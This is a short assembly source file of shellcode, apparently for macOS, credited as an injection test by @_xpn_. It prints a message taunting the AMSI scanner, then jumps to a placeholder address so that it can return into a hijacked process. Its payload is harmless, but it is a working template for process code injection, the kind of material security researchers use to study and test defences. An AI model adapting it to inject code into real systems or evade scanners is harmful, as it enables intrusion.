[BITS 64] ; Compile with "nasm shellcode.asm -o shellcode.bin -fbin" ; Convert to C with "xxd -i ./shellcode.bin" global _main section .text _main: _start: cmp byte [rel already_run], 1 je skip push rax push rbx push rcx push rdx push rbp push rsi push rdi mov rax, 0x2000004 mov rdi, 1 lea rsi, [rel msg] mov rdx, msg.len syscall pop rdi pop rsi pop rbp pop rdx pop rcx pop rbx pop rax mov byte [rel already_run], 1 skip: mov rax, 0x4141414141414141 jmp rax msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa .len: equ $ - msg already_run: db 0